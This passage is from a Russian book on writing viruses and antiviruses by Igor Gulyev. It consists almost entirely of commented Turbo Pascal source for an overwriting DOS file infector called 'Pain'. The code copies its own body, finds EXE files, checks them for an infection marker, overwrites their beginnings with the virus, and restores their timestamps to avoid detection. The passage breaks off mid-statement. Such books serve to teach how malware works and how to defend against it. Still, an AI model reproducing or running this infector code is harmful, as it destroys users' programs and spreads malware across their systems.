Игорь Гульев

Создаем вирус и антивирус


Скачать книгу

программе при компиляции)}

      Uses Dos;

      Const

      {Имя вируса}

      VirName=’Pain’;

      {Строка для проверки на повторное заражение.

      Она дописывается в заражаемый файл сразу после кода вируса}

      VirLabel: String[5]=’Pain!’;

      {Длина получаемого при компиляции EXE−файла}

      VirLen=4208;

      Author=’Dirty Nazi/SGWW.’;

      {Количество заражаемых за один сеанс работы файлов}

      InfCount=2;

      Var

      {Массив для определения наличия копии вируса в найденном файле}

      VirIdentifier: Array [1.5] of Char;

      {Файловая переменная для работы с файлами}

      VirBody: File;

      {Еще одна файловая переменная – хотя без нее можно было

      обойтись, так будет понятнее}

      Target: File;

      {Для имени найденного файла}

      TargetFile: PathStr;

      {Буфер для тела вируса}

      VirBuf : Array [1.VirLen] of Char;

      {Для даты/времени файла}

      Time : LongInt;

      {Счетчик количества инфицированных файлов}

      InfFiles : Byte;

      DirInfo : SearchRec;

      LabelBuf : Array [1.5] of Char;

      {Инициализация}

      procedure Init;

      begin

      LabelBuf[1]:=VirLabel[1];

      LabelBuf[2]:=VirLabel[2];

      LabelBuf[3]:=VirLabel[3];

      LabelBuf[4]:=VirLabel[4];

      LabelBuf[5]:=VirLabel[5];

      {Обнуляем счетчик количества инфицированных файлов}

      InfFiles:=0;

      {Связываем файловую переменную VirBody с именем программы,

      из которой стартовали}

      Assign(VirBody, ParamStr(0));

      {Открываем файл с recsize=1 байту}

      Reset(VirBody, 1);

      {Считываем из файла тело вируса в массив VirBuf}

      BlockRead(VirBody, VirBuf, VirLen);

      {Закрываем файл}

      Close(VirBody);

      end;

      {Поиск жертвы}

      procedure FindTarget;

      Var

      Sr: SearchRec;

      {Функция возвращает True, если найденная

      программа уже заражена, и False, если еще нет}

      function VirusPresent: Boolean;

      begin

      {Пока будем считать, что вируса нет}

      VirusPresent:=False;

      {Открываем найденный файл}

      Assign(Target, TargetFile);

      Reset(Target, 1);

      {Перемещаемся на длину тела вируса от начала файла}

      Seek(Target, VirLen);

      {Считываем 5 байт – если файл уже заражен,

      там находится метка вируса}

      BlockRead(Target, VirIdentifier, 5);

      If VirIdentifier=VirLabel Then

      {Если метка есть, значит есть и вирус}

      VirusPresent:=True;

      end;

      {Процедура заражения}

      procedure InfectFile;

      begin

      {Если размер найденного файла меньше, чем длина вируса

      плюс 100 байт, то выходим из процедуры}

      If Sr.Size < VirLen+100 Then Exit;

      {Если найденная программа еще не заражена, инфицируем ее}

      If Not VirusPresent Then

      begin

      {Запомним дату и время файла. Атрибуты запоминать не надо,

      так как поиск ведется среди файлов с атрибутом Archive, а этот

      атрибут устанавливается на файл после сохранения в любом случае}

      Time:=Sr.Time;

      {Открываем для заражения}

      Assign(Target, TargetFile);

      Reset(Target, 1);

      {Записывам тело вируса в начало файла}

      BlockWrite(Target, VirBuf, VirLen);

      {Перемещаем указатель текущей позиции

      на длину вируса от начала файла}

      Seek(Target, VirLen);

      {Вписываем метку заражения}

      BlockWrite(Target, LabelBuf, 5);

      {Устанавливаем дату и время файла}

      SetFTime(Target,